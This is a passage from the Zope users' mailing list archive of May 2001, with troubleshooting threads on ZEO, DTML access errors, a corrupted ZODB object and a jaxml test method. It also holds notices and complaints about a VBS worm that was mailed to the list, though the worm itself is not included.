file? > > Fritz Mesedilla wrote: > > > > uh i'm not sure. all i changed was the location and port number of the zeo > > server on the custom_zodb.py file. i didn't change anything. > > > > Fritz Mesedilla > > Systems Administrator > > > > "Ooops! Save your work, everyone. FAST!" > > -------------------------------------------------------------------------- > -- > > Summit Interactive, Inc. > > > > http://www.femalenetwork.com | http://www.candymag.com > > http://www.fhm.com.ph | http://www.cosmo.com.ph > > > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > > -------------------------------------------------------------------------- > -- > > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > > -------------------------------------------------------------------------- > -- > > +Basta Ikaw Lord > > > > -----Original Message----- > > From: chrism@sylvanoffice.com [mailto:chrism@sylvanoffice.com]On Behalf > > Of Chris McDonough > > Sent: Wednesday, May 09, 2001 7:54 PM > > To: fritz.mesedilla@summitmedia.com.ph > > Cc: zope@zope.org > > Subject: Re: [Zope] zope and zeo > > > > Hi Fritz, > > > > Do you have logging turned on on the clients (ie. have you set the > > STUPID_LOG_FILE environment variable up on the clients)? > > > > If so, do the logs say anything? > > > > As a voodoo measure, have you attempted to shut down and restart the ZEO > > server and all the client processes? > > > > Fritz Mesedilla wrote: > > > > > > please help!!! > > > > > > all of a sudden zope won't start with zeo. > > > > > > what i mean is that the processes are running when doing "ps aux" but > when > > > you browse the site it doesn't wnat to load. it used to load then all of > a > > > sudden after two weeks of successful running i can't see the website. > > > > > > now i was able to make the management site come out in the browser but > the > > > left navigational bar doesn't want to load. > > > > > > plese advice. i'm using zope 2.3.2 and zeo 1.0b1 > > > > > > Fritz Mesedilla > > > Systems Administrator > > > > > > "Ooops! Save your work, everyone. FAST!" > > > > -------------------------------------------------------------------------- > > -- > > > Summit Interactive, Inc. > > > > > > http://www.femalenetwork.com | http://www.candymag.com > > > http://www.fhm.com.ph | http://www.cosmo.com.ph > > > > > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > > > > -------------------------------------------------------------------------- > > -- > > > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > > > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > > > > -------------------------------------------------------------------------- > > -- > > > +Basta Ikaw Lord > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From jasonic@nomadicsltd.com Wed May 9 15:54:14 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Wed, 9 May 2001 10:54:14 -0400 Subject: Try this devel version, was: Re: [Zope] [zshell] ANN: 0.5 with wildcard expansion References: <002901c0d895$2ef66400$c3090740@megapathdsl.net> Message-ID: <007201c0d897$eae659c0$c3090740@megapathdsl.net> > def testjaxml(self): > versionstring = "jaxml version" + jaxml.__version__ > x =jaxml.XML_document() > x.sometag(what="testing") > x.anestedtag(name="nested") > x._text("Waiting for Godot") > return x > > This time it breaks: The above testjaxml.py now works ok :-) doh. my apologies -> I had a sneaky cut'n'paste typo: x.sometag() was indented single space. Hidden by a java-based proportional font editor I used. fixed-width font should prevent this. Now at least I can focus on why zshell is not running on my system. ./Jason From tino@wildenhain.de Wed May 9 15:50:04 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Wed, 09 May 2001 16:50:04 +0200 Subject: [Zope] Security Problems? In-Reply-To: <027001c0d891$7f9d59d0$5c773fc1@media1> References: <027001c0d891$7f9d59d0$5c773fc1@media1> Message-ID: <28284376.989427004@BUZZER> Hi Phil, thats not a bug, its a feature :-) You need __allow_access_to_unprotected_subobjects__=1 somewhere in your class Regards Tino Wildenhain --On Mittwoch, 9. Mai 2001 15:08 +0100 Phil Harris wrote: > > All, > > I've got a sneaking suspicion that there are some security problems in > Zope 2.3.x. > I've been trying to make a simple testcase and would like other (better) > minds than mine to look at it. > I have an external method which looks like: > > class c: > def __init__(self,a): > self.score=a > self.test=a*a > > def t(self): > retval=[] > for a in range(1,10): > retval.append(c(a)) > return retval > > > The class 'c' is a very simple class, it has no methods and only two > attributes/properties 'score' and 'test'. > The external method 't' is also very simple, it just returns an array of > class 'c'. > The dtml-method I'm using to access this array is as follows: > > > > > > > > Nothing earth shattering there either. > > BUT, I get an unauthorized error raised with this traceback whenever I > run this dtml-method: > (note that a authentication login box is presented but NO user name is > able to authenticate) > Traceback (innermost last): > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 223, in > publish_module File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line > 187, in publish File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line > 171, in publish File D:\ZOPE_T~1\lib\python\ZPublisher\mapply.py, line > 160, in mapply (Object: index_html) > File D:\ZOPE_T~1\lib\python\ZPublisher\Publish.py, line 112, in > call_object (Object: index_html) > File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line 189, in __call__ > (Object: index_html) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_String.py, line 538, in > __call__ (Object: index_html) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_In.py, line 717, in > renderwob (Object: t) > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 334, in > eval (Object: _['sequence-item'].score) > (Info: _) > File <string>, line 0, in ? > File D:\ZOPE_T~1\lib\python\DocumentTemplate\DT_Util.py, line 140, in > careful_getattr File D:\ZOPE_T~1\lib\python\OFS\DTMLMethod.py, line > 261, in validate (Object: index_html) > File D:\ZOPE_T~1\lib\python\AccessControl\SecurityManager.py, line 144, > in validate File > D:\ZOPE_T~1\lib\python\AccessControl\ZopeSecurityPolicy.py, line 168, in > validate Unauthorized: score > > > All of this is run on a bog standard install of Zope 2.3.2 with no other > products installed, no security changes done, REALLY bog standard. > > Anyone got any ideas? > > Cos this is doin my f'in ed in man?!?!?!?!?!? > > Phil > phil.harris@zope.co.uk > From ANTIGEN_TBLENG_ES1@tbleng-es1.trasys.be Wed May 9 15:49:31 2001 From: ANTIGEN_TBLENG_ES1@tbleng-es1.trasys.be (ANTIGEN_TBLENG_ES1) Date: Wed, 9 May 2001 16:49:31 +0200 Subject: [Zope] Antigen found VBS/VBSWG.X@mm.Worm (Norman) virus Message-ID: Antigen for Exchange found homepage.HTML.vbs infected with VBS/VBSWG.X@mm.Worm (Norman) virus. The file is currently Removed. The message, "[Zope] Homepage", was sent from Nathalie Bernier and was discovered in IMC Queues\Inbound located at TRACTEBEL/TBLENG/TBLENG_ES1. From birgit kellner Wed May 9 21:55:30 2001 From: birgit kellner (birgit kellner) Date: Wed, 9 May 2001 16:55:30 -0400 Subject: [Zope] newbie question: execute permission denied for "python" upon install Message-ID: <177185550.20010509165530@aon.at> Apologies if this is too trivial a question: When executing ./install (on a unix machine), I get the following error message. ".../Zope-2.3.2-linux2-x86-/bin/python: 0403-006 Execute permission denied" Now, I did a chmod 755 on python, but the error message persists. Any clues? birgit From tino@wildenhain.de Wed May 9 15:57:59 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Wed, 09 May 2001 16:57:59 +0200 Subject: [Zope] Virus alerts Message-ID: <28759227.989427479@BUZZER> Hi, can someome please kick these admins in the ass who configure their mailfilters to spam back to the list? For the admins: there is a Sender: and a Errors-To: Field in the header. If something is to be sent _automatically_ it should go to this address only. Pretty please repair your broken MTAs! Regards Tino From alet@unice.fr Wed May 9 15:59:25 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 9 May 2001 16:59:25 +0200 (MET DST) Subject: Try this devel version, was: Re: [Zope] [zshell] ANN: 0.5 with wildcard expansion In-Reply-To: <007201c0d897$eae659c0$c3090740@megapathdsl.net> Message-ID: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --889292347-744731357-989420365=:14767 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 9 May 2001, Jason Cunliffe wrote: > > def testjaxml(self): > > versionstring = "jaxml version" + jaxml.__version__ > > x =jaxml.XML_document() > > x.sometag(what="testing") > > x.anestedtag(name="nested") > > x._text("Waiting for Godot") > > return x > > > > This time it breaks: > > The above testjaxml.py now works ok :-) OK, anyway attached to this message you'll find an external method to test jaxml in Zope again ! > Now at least I can focus on why zshell is not running on my system. I don't use any particular setup, just plain old Zope compiled from source, on localhost:8080, tested both as anonymous and admin works fine here. PS: did the 0.6beta1 I've posted this morning solve the problem ? bye, Jerome Alet --889292347-744731357-989420365=:14767 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="testjaxml.py" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: external method to test jaxml in Zope IyB0byB0ZXN0IGpheG1sIGluIFpvcGUNCg0KaW1wb3J0IGpheG1sDQoNCmRl ZiB0ZXN0amF4bWwoc2VsZikgOg0KCXggPSBqYXhtbC5IVE1MX2RvY3VtZW50 KCkNCg0KCWlmIGhhc2F0dHIoc2VsZiwgInN0YW5kYXJkX2h0bWxfaGVhZGVy IikgOg0KCQl4Ll90ZXh0KCIlcyIgJSBzZWxmLnN0YW5kYXJkX2h0bWxfaGVh ZGVyKHNlbGYsIHNlbGYuUkVRVUVTVCkpDQoJZWxzZSA6DQoJCXguZGVmYXVs dF9oZWFkZXJzKHRpdGxlID0gImpheG1sIG1vZHVsZSB0ZXN0IHBhZ2UiKQ0K CQl4LmJvZHkoYmdjb2xvcj0icmVkIikNCg0KCXguaDMoIlRoaXMgaXMgYSB0 ZXN0IHBhZ2UgZm9yIHRoZSBqYXhtbCBtb2R1bGUgdmVyc2lvbiAlcyIgJSBq YXhtbC5fX3ZlcnNpb25fXykNCg0KCXguYSgiRG93bmxvYWQiLCBocmVmPSJo dHRwOi8vY29ydGV4LnVuaWNlLmZyL35qZXJvbWUvamF4bWwvIikNCgl4Ll90 ZXh0KCJ0aGUgamF4bWwgbW9kdWxlIikNCglpZiBoYXNhdHRyKHNlbGYsICJz dGFuZGFyZF9odG1sX2Zvb3RlciIpIDoNCgkJeC5fdGV4dCgiJXMiICUgc2Vs Zi5zdGFuZGFyZF9odG1sX2Zvb3RlcihzZWxmLCBzZWxmLlJFUVVFU1QpKQ0K DQoJcmV0dXJuIHN0cih4KQ0K --889292347-744731357-989420365=:14767-- From alet@unice.fr Wed May 9 16:02:27 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 9 May 2001 17:02:27 +0200 (MET DST) Subject: Try this devel version, was: Re: [Zope] [zshell] ANN: 0.5 with wildcard expansion (fwd) Message-ID: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --889292347-744731357-989420365=:14767 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Jason, don't you have any DNS problem ? My mail server can't resolve your domain yet... On Wed, 9 May 2001, Jason Cunliffe wrote: > > def testjaxml(self): > > versionstring = "jaxml version" + jaxml.__version__ > > x =jaxml.XML_document() > > x.sometag(what="testing") > > x.anestedtag(name="nested") > > x._text("Waiting for Godot") > > return x > > > > This time it breaks: > > The above testjaxml.py now works ok :-) OK, anyway attached to this message you'll find an external method to test jaxml in Zope again ! > Now at least I can focus on why zshell is not running on my system. I don't use any particular setup, just plain old Zope compiled from source, on localhost:8080, tested both as anonymous and admin works fine here. PS: did the 0.6beta1 I've posted this morning solve the problem ? bye, Jerome Alet --889292347-744731357-989420365=:14767 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="testjaxml.py" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: external method to test jaxml in Zope IyB0byB0ZXN0IGpheG1sIGluIFpvcGUNCg0KaW1wb3J0IGpheG1sDQoNCmRl ZiB0ZXN0amF4bWwoc2VsZikgOg0KCXggPSBqYXhtbC5IVE1MX2RvY3VtZW50 KCkNCg0KCWlmIGhhc2F0dHIoc2VsZiwgInN0YW5kYXJkX2h0bWxfaGVhZGVy IikgOg0KCQl4Ll90ZXh0KCIlcyIgJSBzZWxmLnN0YW5kYXJkX2h0bWxfaGVh ZGVyKHNlbGYsIHNlbGYuUkVRVUVTVCkpDQoJZWxzZSA6DQoJCXguZGVmYXVs dF9oZWFkZXJzKHRpdGxlID0gImpheG1sIG1vZHVsZSB0ZXN0IHBhZ2UiKQ0K CQl4LmJvZHkoYmdjb2xvcj0icmVkIikNCg0KCXguaDMoIlRoaXMgaXMgYSB0 ZXN0IHBhZ2UgZm9yIHRoZSBqYXhtbCBtb2R1bGUgdmVyc2lvbiAlcyIgJSBq YXhtbC5fX3ZlcnNpb25fXykNCg0KCXguYSgiRG93bmxvYWQiLCBocmVmPSJo dHRwOi8vY29ydGV4LnVuaWNlLmZyL35qZXJvbWUvamF4bWwvIikNCgl4Ll90 ZXh0KCJ0aGUgamF4bWwgbW9kdWxlIikNCglpZiBoYXNhdHRyKHNlbGYsICJz dGFuZGFyZF9odG1sX2Zvb3RlciIpIDoNCgkJeC5fdGV4dCgiJXMiICUgc2Vs Zi5zdGFuZGFyZF9odG1sX2Zvb3RlcihzZWxmLCBzZWxmLlJFUVVFU1QpKQ0K DQoJcmV0dXJuIHN0cih4KQ0K --889292347-744731357-989420365=:14767-- From brianw@hilgraeve.com Wed May 9 16:03:44 2001 From: brianw@hilgraeve.com (Brian Withun) Date: Wed, 9 May 2001 11:03:44 -0400 Subject: [Zope] title is not safe for unpickling Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000C_01C0D877.B6E25D10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by hilgraeve.com id JAA17350 Using 2.1.4 on linux, I have run into the following error: "title is not safe for unpickling" I get this error when I try to rename or delete a particular object in on= e of my folders. The object itself is troubling because the management interface shows the object to be a folder (the little icon is the folder icon) but it's not a container, I can't get inside of it. Deleting it is impossible, and deleting any PARENT of it is impossible. Although it carries a folder icon, the management tree (at left) does not have a litt= le "+/-" expander box next to it. It is definitely not a true folder. And no, I have no ZClasses or anything like that. We use ZSQL and DTML Methods and DTML Objects, and Mailhosts, and a database connection or two= , but nothing more sophisticated than that. I'm attaching an export of the parent folder to this object, as well as a= n export of the object itself. On my system, the folder "Personal" contains this object named "form_wrapper_wrapper" When form_wrapper_wrapper was originally created,= it was a DTML Method. It is no longer a DTML Method, and I can't fathom wha= t has happened to it. "tranalyzer.py" found some problems in the Zope transaction log, and pack= ing the Data.fs made tranalyzer.py happy, but of course did nothing to correc= t the actual problem. The last entry spit out by tranalyzer.py before the problem had to do with a version I had created. Lately, two rare things have happened, neither of which are an obvious culprit, but they may be worth mentioning: 1) I created, used, and committed a version. I don't do that often, and = so having done this so coincidentally in time with the introduction of the error carries some suspicion. The version created did not, however, modi= fy anything near the form_wrapper_wrapper. 2) Another developer has been playing with WebDrive, attempting to access objects on the Zope server. It doesn't appear that 2.1.4 played well wit= h WebDrive and our editor of choice, so WebDrive was dropped for the time being. We have no reason to believe that WebDrive caused any problems, b= ut again, it was on the same day the error was introduced so suspicion is hi= gh (though we never accessed form_wrapper_wrapper from WebDrive!) Does anyone have any ideas? Is there some "undocumented" way of destroyi= ng a Zope object? When I access the form_wrapper_wrapper object (try to view its contents) = I get a Zope error, which has also been attached. The last oddity I've noticed is that when I change the title of the paren= t folder (Personal), the title changes on BOTH the Personal folder, and the form_wrapper_wrapper thing inside of the Personal folder... hmmmmmmm ? ------------ Bri=E1n Withun ------=_NextPart_000_000C_01C0D877.B6E25D10 Content-Type: application/octet-stream; name="Personal.zexp" Content-Disposition: attachment; filename="Personal.zexp" Content-Transfer-Encoding: base64 WkVYUAAAAAAAABHvAAAAAAAAAQooKFUKT0ZTLkZvbGRlcnEBVQZGb2xkZXJxAnRxA050Ln1xBChV AmlkcQVVCFBlcnNvbmFscQZVEl9fYWNfbG9jYWxfcm9sZXNfX3EHfXEIVQxCcmlhbiBXaXRodW5x CV1xClUFT3duZXJxC2FzVQhfb2JqZWN0c3EMKH1xDShVCW1ldGFfdHlwZXEOVQtEVE1MIE1ldGhv ZHEPaAVVFGZvcm1fd3JhcHBlcl93cmFwcGVycRB1dFUFdGl0bGVxEVUSQUJTREZLQUpEU0ZMS0FK U0RncRJoEChVCAAAAAAAABHEcRMoVQ5PRlMuRFRNTE1ldGhvZHEUVQpEVE1MTWV0aG9kcRV0dFF1 Lv////////////////////8= ------=_NextPart_000_000C_01C0D877.B6E25D10 Content-Type: application/octet-stream; name="form_wrapper_wrapper.zexp" Content-Disposition: attachment; filename="form_wrapper_wrapper.zexp" Content-Transfer-Encoding: base64 WkVYUP////////////////////8= ------=_NextPart_000_000C_01C0D877.B6E25D10 Content-Type: text/plain; name="zope error.txt" Content-Disposition: attachment; filename="zope error.txt" Content-Transfer-Encoding: quoted-printable Zope Error
 

Zope Error

Zope has encountered an error while publishing this resource.

Debugging Notice

=20 Zope has encountered a problem publishing your object.

Missing doc string at: https:// [edited] = /Home/Addresses/L/Personal/form_wrapper_wrapper


Troubleshooting Suggestions

  • The URL may be incorrect.
  • The parameters passed to this resource may be incorrect.
  • A resource that this resource relies on may be encountering an = error.

For more detailed information about the error, please refer to the HTML source for this page.

If the error persists please contact the site maintainer. Thank you for your patience.

Traceback (innermost last):
  File /usr/lib/Zope-2.1.4-src/lib/python/ZPublisher/Publish.py, line =
214, in publish_module
  File /usr/lib/Zope-2.1.4-src/lib/python/ZPublisher/Publish.py, line =
179, in publish
  File /usr/lib/Zope-2.1.4-src/lib/python/Zope/__init__.py, line 202, in =
zpublisher_exception_hook
    (Object: ElementWithAttributes)
  File /usr/lib/Zope-2.1.4-src/lib/python/ZPublisher/Publish.py, line =
151, in publish
  File /usr/lib/Zope-2.1.4-src/lib/python/ZPublisher/BaseRequest.py, =
line 348, in traverse
  File /usr/lib/Zope-2.1.4-src/lib/python/ZPublisher/HTTPResponse.py, =
line 521, in debugError
NotFound: (see above)

------=_NextPart_000_000C_01C0D877.B6E25D10-- From chrisw@nipltd.com Wed May 9 16:31:08 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 09 May 2001 16:31:08 +0100 Subject: [Zope] Homepage References: <00c201c0d895$5fa68850$2a00a8c0@longwy> Message-ID: <3AF962BC.7DB7AAF@nipltd.com> Nathalie Bernier wrote: > > Hi! > > You've got to see this page! It's really cool ;O) Wow! It really was... Nice way to spam a mailing list with a Virus :-( Chris From bkc@murkworks.com Wed May 9 16:48:18 2001 From: bkc@murkworks.com (Brad Clements) Date: Wed, 9 May 2001 11:48:18 -0400 Subject: [Zope] Accessing ZSQL Methods from outside Zope In-Reply-To: <4.3.2.7.2.20010508202528.024cd7c0@195.60.12.162> Message-ID: <3AF92B53.12268.42D9C02F@localhost> On 8 May 2001, at 20:29, Richard Moon wrote: > I've got a Zope site (www.tunedb.org) with a MySQL backend and a load of > data. People are asking me if they can connect to that database (read-only) > somehow, perhaps using the SQL queries I have already set up, or perhaps by > writing their own queries and accessing MySQL directly. > > Has anyone done anything like this ? Can you point me in the right > direction ? I have an IE "single-page web application" that uses ADO 2.6 to download recordsets in XML format from Zope. I have an extension that converts the results of an SQL Method into an ADO recordset. I suppose you could do something similar.. Just deliver the data in whatever format they need, like plain XML. Brad Clements, bkc@murkworks.com (315)268-1000 http://www.murkworks.com (315)268-9812 Fax netmeeting: ils://ils.murkworks.com AOL-IM: BKClements From fritz.mesedilla@summitmedia.com.ph Wed May 9 17:06:54 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 00:06:54 +0800 Subject: [Zope] kvm Message-ID: hello again! i hope this time my simple post will NOT cause any misunderstandings. do any of you know of a good place to buy a 6-port kvm? you see i need it for: 4 servers and 1 load balancer - 5 last for the keyboard, monitor, mouse - 1 is my port counting correct? i've been seeing a 4-port kvm -- it connects 4 computers to 1 keyboard, monitor, and mouse. and since i doubt if there is a 5-port kvm, i'll settle for 6-ports. :) i'm here in the philippines. i hope you can help me here locally. it's also okay if US. my boss will be going to the US in the next month and she volunteered to get any deliveries for me. hehe. again, thank you to all those who have advised me about secure remote logging. i will take into account what you have said. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord From fritz.mesedilla@summitmedia.com.ph Wed May 9 17:07:57 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 00:07:57 +0800 Subject: [Zope] i'm sorry Message-ID: i'm sorry. i sent my email to the wrong list. i'm sorry folks! Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord From fritz.mesedilla@summitmedia.com.ph Wed May 9 17:10:38 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 00:10:38 +0800 Subject: [Zope] Homepage In-Reply-To: <014401c0d895$a2175a20$38a3f1ce@mitretek.org> Message-ID: our corporate email scanner found a vbs script in this email. please be advised. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Thomas B. Passin Sent: Wednesday, May 09, 2001 10:38 PM To: zope@zope.org Subject: Re: [Zope] Homepage Have we been spammed by a virus? I'm not looking at anything like this .vbs attachment!! Tom P ----- Original Message ----- From: "Nathalie Bernier" To: Sent: Wednesday, May 09, 2001 10:35 AM Subject: [Zope] Homepage > > Hi! > > You've got to see this page! It's really cool ;O) > > _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From fritz.mesedilla@summitmedia.com.ph Wed May 9 17:11:37 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Thu, 10 May 2001 00:11:37 +0800 Subject: [Zope] zope and zeo In-Reply-To: <004501c0d896$fddb36f0$8e17a8c0@kurtz> Message-ID: thanks for the help. i appreciate it. Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord -----Original Message----- From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Chris McDonough Sent: Wednesday, May 09, 2001 10:48 PM To: fritz.mesedilla@summitmedia.com.ph; zope@zope.org Subject: Re: [Zope] zope and zeo Fritz, I'm sorry, I have no idea what your configuration is (and if I did, I'd probably not have time to sort it out), so I'm not sure what happened. Your problem certainly smells like the ZEO server went down and the clients were serving requests from their cache. A way to tell is by doing any sort of write to the ZODB on any of the clients, e.g. try to change and resave a DTML document (if your ZEO server is down, a write can't happen and it will raise an error). You may still want to try this. - C ----- Original Message ----- From: "Fritz Mesedilla" To: "Chris McDonough" ; Sent: Wednesday, May 09, 2001 10:16 AM Subject: RE: [Zope] zope and zeo > uh, no because i used the default 8800 port. > > wait. the website finally works. > after fixing a mysql database server in the US, all the other servers in the > Philippines worked fine. > why is that? > the websites access the mysql database in the US that went down. > but how come i can access only the top and right part of the management > screen BUT NOT the left navigational part? > now that the mysql server in the US is back, i can now see the left navi > part? > > is it really connected to the mysql database? but that product (ZMySQL) is > only part of a sub-folder? > > anyway, thanks for the advices. > > i hope you all continue to advice me about zeo. and how i can use much of > it. thanks. > > > > Fritz Mesedilla > Systems Administrator > > "Ooops! Save your work, everyone. FAST!" > -------------------------------------------------------------------------- -- > Summit Interactive, Inc. > > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > -------------------------------------------------------------------------- -- > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > -------------------------------------------------------------------------- -- > +Basta Ikaw Lord > > -----Original Message----- > From: Chris McDonough [mailto:chrism@digicool.com] > Sent: Thursday, May 10, 2001 12:12 AM > To: fritz.mesedilla@summitmedia.com.ph > Cc: zope@zope.org > Subject: Re: [Zope] zope and zeo > > > When you changed the zeo port number in the clients' custom_zodb.py > file(s), did you change the corresponding port number in the ZEO > server's 'start' file? > > Fritz Mesedilla wrote: > > > > uh i'm not sure. all i changed was the location and port number of the zeo > > server on the custom_zodb.py file. i didn't change anything. > > > > Fritz Mesedilla > > Systems Administrator > > > > "Ooops! Save your work, everyone. FAST!" > > -------------------------------------------------------------------------- > -- > > Summit Interactive, Inc. > > > > http://www.femalenetwork.com | http://www.candymag.com > > http://www.fhm.com.ph | http://www.cosmo.com.ph > > > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > > -------------------------------------------------------------------------- > -- > > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > > -------------------------------------------------------------------------- > -- > > +Basta Ikaw Lord > > > > -----Original Message----- > > From: chrism@sylvanoffice.com [mailto:chrism@sylvanoffice.com]On Behalf > > Of Chris McDonough > > Sent: Wednesday, May 09, 2001 7:54 PM > > To: fritz.mesedilla@summitmedia.com.ph > > Cc: zope@zope.org > > Subject: Re: [Zope] zope and zeo > > > > Hi Fritz, > > > > Do you have logging turned on on the clients (ie. have you set the > > STUPID_LOG_FILE environment variable up on the clients)? > > > > If so, do the logs say anything? > > > > As a voodoo measure, have you attempted to shut down and restart the ZEO > > server and all the client processes? > > > > Fritz Mesedilla wrote: > > > > > > please help!!! > > > > > > all of a sudden zope won't start with zeo. > > > > > > what i mean is that the processes are running when doing "ps aux" but > when > > > you browse the site it doesn't wnat to load. it used to load then all of > a > > > sudden after two weeks of successful running i can't see the website. > > > > > > now i was able to make the management site come out in the browser but > the > > > left navigational bar doesn't want to load. > > > > > > plese advice. i'm using zope 2.3.2 and zeo 1.0b1 > > > > > > Fritz Mesedilla > > > Systems Administrator > > > > > > "Ooops! Save your work, everyone. FAST!" > > > > -------------------------------------------------------------------------- > > -- > > > Summit Interactive, Inc. > > > > > > http://www.femalenetwork.com | http://www.candymag.com > > > http://www.fhm.com.ph | http://www.cosmo.com.ph > > > > > > FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping > > > > -------------------------------------------------------------------------- > > -- > > > email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm > > > http://www.fritzmesedilla.net and http://www.fritz.iscute.com > > > > -------------------------------------------------------------------------- > > -- > > > +Basta Ikaw Lord > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From chrisw@nipltd.com Wed May 9 17:21:17 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 09 May 2001 17:21:17 +0100 Subject: [Zope] Homepage References: Message-ID: <3AF96E7D.78366A3@nipltd.com> Fritz Mesedilla wrote: > > our corporate email scanner found a vbs script in this email. please be > advised. Yay! :-) > http://www.femalenetwork.com | http://www.candymag.com > http://www.fhm.com.ph | http://www.cosmo.com.ph Wow, it'd be well cool if some of those sites were hosted in Zope... *grinz* Chris From jleach@mail.ocis.net Wed May 9 17:20:20 2001 From: jleach@mail.ocis.net 